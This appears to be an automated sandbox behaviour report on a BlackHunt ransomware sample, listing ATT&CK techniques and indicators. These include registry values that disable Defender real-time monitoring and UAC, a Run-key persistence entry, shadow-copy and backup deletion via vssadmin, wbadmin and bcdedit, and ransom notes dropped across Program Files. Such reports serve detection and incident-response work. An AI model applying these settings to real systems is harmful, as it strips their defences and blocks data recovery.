6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db

Data Destruction

T1485

pid	Process
5656	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
5512	bcdedit.exe
5500	bcdedit.exe

Renames multiple (589) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5400	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\W:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\S:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\Q:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\Y:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\P:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\B:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\N:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\O:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\A:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\K:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\E:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\G:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\T:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\U:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\L:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\M:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\J:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\Z:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\V:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\X:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened (read-only)	\??\H:	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\javafx-mx.jar	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\libpng.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\CIEXYZ.pf	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\meta-index	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\vlc.mo	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngcc.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_pt_BR.properties	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\ecc.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngom.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_ko.properties	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\jfxrt.jar	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\splash.gif	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\LICENSE	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\zlib.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightRegular.ttf	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\ConnectMerge.xla	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xalan.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xerces.md	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_HK.properties	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr.jar	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_Private.key	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jconsole.jar	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\#BlackHunt_ReadMe.hta	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3716	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1732	vssadmin.exe
5168	vssadmin.exe
5480	vssadmin.exe
5568	vssadmin.exe
5476	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeRestorePrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeBackupPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeTakeOwnershipPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeAuditPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeSecurityPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeIncBasePriorityPrivilege	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Token: SeBackupPrivilege	5820	vssvc.exe
Token: SeRestorePrivilege	5820	vssvc.exe
Token: SeAuditPrivilege	5820	vssvc.exe
Token: SeBackupPrivilege	3128	wbengine.exe
Token: SeRestorePrivilege	3128	wbengine.exe
Token: SeSecurityPrivilege	3128	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 3564	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	88
PID 2032 wrote to memory of 3564	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	88
PID 2032 wrote to memory of 3764	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	90
PID 2032 wrote to memory of 3764	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	90
PID 2032 wrote to memory of 3288	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	92
PID 2032 wrote to memory of 3288	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	92
PID 2032 wrote to memory of 2548	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	96
PID 2032 wrote to memory of 2548	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	96
PID 2032 wrote to memory of 2452	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	93
PID 2032 wrote to memory of 2452	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	93
PID 2032 wrote to memory of 2368	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	98
PID 2032 wrote to memory of 2368	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	98
PID 2032 wrote to memory of 4704	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	101
PID 2032 wrote to memory of 4704	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	101
PID 2032 wrote to memory of 3496	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	100
PID 2032 wrote to memory of 3496	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	100
PID 2032 wrote to memory of 5040	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	104
PID 2032 wrote to memory of 5040	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	104
PID 2032 wrote to memory of 1424	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	103
PID 2032 wrote to memory of 1424	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	103
PID 2032 wrote to memory of 1292	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	111
PID 2032 wrote to memory of 1292	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	111
PID 2032 wrote to memory of 1896	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	108
PID 2032 wrote to memory of 1896	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	108
PID 2032 wrote to memory of 4516	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	112
PID 2032 wrote to memory of 4516	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	112
PID 2032 wrote to memory of 1988	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	114
PID 2032 wrote to memory of 1988	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	114
PID 2032 wrote to memory of 2896	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	136
PID 2032 wrote to memory of 2896	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	136
PID 2032 wrote to memory of 3748	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	116
PID 2032 wrote to memory of 3748	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	116
PID 2032 wrote to memory of 2976	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	135
PID 2032 wrote to memory of 2976	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	135
PID 2032 wrote to memory of 1300	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	118
PID 2032 wrote to memory of 1300	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	118
PID 2032 wrote to memory of 1676	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	119
PID 2032 wrote to memory of 1676	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	119
PID 2032 wrote to memory of 3724	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	124
PID 2032 wrote to memory of 3724	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	124
PID 2032 wrote to memory of 2332	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	133
PID 2032 wrote to memory of 2332	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	133
PID 2032 wrote to memory of 2352	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	126
PID 2032 wrote to memory of 2352	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	126
PID 2032 wrote to memory of 2824	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	128
PID 2032 wrote to memory of 2824	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	128
PID 2032 wrote to memory of 2372	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	127
PID 2032 wrote to memory of 2372	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	127
PID 2032 wrote to memory of 3924	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	137
PID 2032 wrote to memory of 3924	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	137
PID 2032 wrote to memory of 384	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	140
PID 2032 wrote to memory of 384	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	140
PID 2032 wrote to memory of 1920	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	138
PID 2032 wrote to memory of 1920	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	138
PID 2032 wrote to memory of 1880	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	144
PID 2032 wrote to memory of 1880	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	144
PID 2032 wrote to memory of 324	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	142
PID 2032 wrote to memory of 324	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	142
PID 3564 wrote to memory of 4160	3564	cmd.exe	149
PID 3564 wrote to memory of 4160	3564	cmd.exe	149
PID 2032 wrote to memory of 1020	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	147
PID 2032 wrote to memory of 1020	2032	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe	147
PID 3764 wrote to memory of 4200	3764	cmd.exe	150
PID 3764 wrote to memory of 4200	3764	cmd.exe	150

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe
"C:\Users\Admin\AppData\Local\Temp\6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2032
- C:\Windows\System32\cmd.exe
